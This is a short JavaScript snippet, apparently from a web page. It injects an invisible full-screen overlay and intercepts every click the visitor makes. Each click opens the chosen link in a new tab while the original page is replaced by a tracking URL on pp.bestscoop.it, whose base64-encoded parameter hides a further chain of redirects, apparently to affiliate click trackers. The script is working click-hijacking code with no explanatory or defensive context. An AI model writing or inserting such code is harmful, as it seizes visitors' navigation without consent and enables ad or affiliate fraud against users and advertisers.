function ready(fn) { if (document.readyState !== 'loading') { fn(); return; }else{ setTimeout(function() {ready(fn)}, 500); } sessionStorage.setItem("ok",1); if(sessionStorage.getItem("ok")=="1"){ document.addEventListener('DOMContentLoaded', fn); } } ready(function(){ //setTimeout(fin, 40000); setTimeout(fin, 0); }); function on() { document.getElementById("ovrl").style.display = "block"; } function off() { document.getElementById("ovrl").style.display = "none"; } function clkf(){ document.body.addEventListener("click", function (e) { //debugger; e.preventDefault(); if (e.target.href){ window.open(e.target.href, "_blank"); window.location.replace("https://pp.bestscoop.it/static/click.php?b=1095d91a-86d5-4049-a394-9cc6dcb18029&c=5&u=16&rd=aHR0cHM6Ly90b3BmaXZlLml0L3RjbGsucGhwP3E9cHVsbGFuZGJlYXImcmRyPWFIUjBjSE02THk5amJHc3VkSEpoWkdWa2IzVmliR1Z5TG1OdmJTOWpiR2xqYXo5d1BUTXlOalkxTkNaaFBUSTBNVFl4TlRnbVp6MHlOVFUwT1RFNU5nPT0mZXBpPVlZNDRVWlQ1LTE2"); }else { window.open(window.location.href, "_blank"); window.location.replace("https://pp.bestscoop.it/static/click.php?b=1095d91a-86d5-4049-a394-9cc6dcb18029&c=5&u=16&rd=aHR0cHM6Ly90b3BmaXZlLml0L3RjbGsucGhwP3E9cHVsbGFuZGJlYXImcmRyPWFIUjBjSE02THk5amJHc3VkSEpoWkdWa2IzVmliR1Z5TG1OdmJTOWpiR2xqYXo5d1BUTXlOalkxTkNaaFBUSTBNVFl4TlRnbVp6MHlOVFUwT1RFNU5nPT0mZXBpPVlZNDRVWlQ1LTE2"); } off(); }); } function fin(){ const style = document.createElement('style'); style.textContent = ` #ovrl { position: fixed; display: none; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 2; cursor: pointer; `; var div = document.createElement('div'); div.setAttribute('id', 'ovrl'); div.onclick =clkf(); document.body.appendChild(div); on(); }